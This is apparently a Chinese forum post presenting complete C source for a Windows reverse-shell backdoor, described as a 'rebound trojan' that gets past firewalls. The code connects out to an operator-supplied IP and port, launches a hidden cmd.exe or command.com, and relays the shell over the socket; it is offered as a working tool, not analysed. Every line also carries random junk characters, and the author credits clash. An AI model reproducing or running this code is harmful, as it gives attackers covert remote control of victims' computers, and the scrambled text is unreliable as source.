这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7j@TW%FmV\
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/* ============================== aA\v
Rebound port in Windows NT |~uCLf>
By wind,2006/7 L-$GQGk{
===============================*/ *!B,|]wq=
#include ^IC|3sr
#include GV%ibqOpQj
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#pragma comment(lib,"wsock32.lib") |*8 J.H*r
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void OutputShell(); U${dWxC
SOCKET sClient; &:Raf5G-E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /y
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void main(int argc,char **argv) A2htD!3
{ zvSfW#
*
WSADATA stWsaData; 6LUB3;g7
int nRet; ;[%AeN5W
SOCKADDR_IN stSaiClient,stSaiServer; CbwQ'c$}
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if(argc != 3) !v$hqNt7
{ EXo"F*gW
printf("Useage:\n\rRebound DestIP DestPort\n"); \GBv@
return; G;`+MgJ)
} |nv8&L8
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WSAStartup(MAKEWORD(2,2),&stWsaData); ](3=7!!J
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \ocJJc9
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stSaiClient.sin_family = AF_INET; -k!UcMWP
stSaiClient.sin_port = htons(0); ld}-}W-cq
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O-q [#P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z${DW@o3
{ &(irri_
printf("Bind Socket Failed!\n"); |"\A5v|1
return; 4fp}`U
} 7!z0)Ai_>=
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stSaiServer.sin_family = AF_INET; 'BtvT[KM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j#.Aiy:,
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2gukK8R$
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i.6c;KU
{ Wc#4%kT
printf("Connect Error!"); %nT!u!#
return; 0<nk>o
} 1@;Dn'
OutputShell(); "){"{~
} P;][i| x
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void OutputShell() '\=aSZVO
{ E%2]c?N5
char szBuff[1024]; V+-%$-w>
SECURITY_ATTRIBUTES stSecurityAttributes; -I'#G D>
OSVERSIONINFO stOsversionInfo; D8G5,s-.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;MR8E9
STARTUPINFO stStartupInfo; f{G
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char *szShell; AwUc U;"9>
PROCESS_INFORMATION stProcessInformation; ;",W&HQbE
unsigned long lBytesRead; !w{4FE74
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |+f@w/+
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); SwXVa/9a"
stSecurityAttributes.lpSecurityDescriptor = 0; Z`T]jm-3
stSecurityAttributes.bInheritHandle = TRUE; =YOq0
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MA6(VII
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VMXccT9i!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kq8.SvIb
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gwm!Pw j
stStartupInfo.wShowWindow = SW_HIDE; X0.k Q
stStartupInfo.hStdInput = hReadPipe; *%E4,(T
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Kejp7okb
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GetVersionEx(&stOsversionInfo); d)1 d0ES
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switch(stOsversionInfo.dwPlatformId) g1Ed:V]_
{ -U.>K,M
case 1: 9sJ=Nldq
szShell = "command.com"; TkBHlTa"=
break; gNUYHNzDM(
default: FC@h6\+a
szShell = "cmd.exe"; qILb>#
break; T\?$7$/V
} .o8Sy2PaV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \|&KD
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send(sClient,szMsg,77,0); WPI<SsLd
while(1) . |%n"{
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ``4e&
if(lBytesRead) xsu9DzPf&{
{ :y'EIf
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <-;/,uu
send(sClient,szBuff,lBytesRead,0); ,cE yV74
} `,QcOkvbC
else VK286[[fv
{ @QteC@k
lBytesRead=recv(sClient,szBuff,1024,0); _rM?g1}5j
if(lBytesRead<=0) break; 2,aH1Xbex
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *,& 2?E8
} J/LsL
k
} *IX<&u#
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return; aKjP{Z0k$
}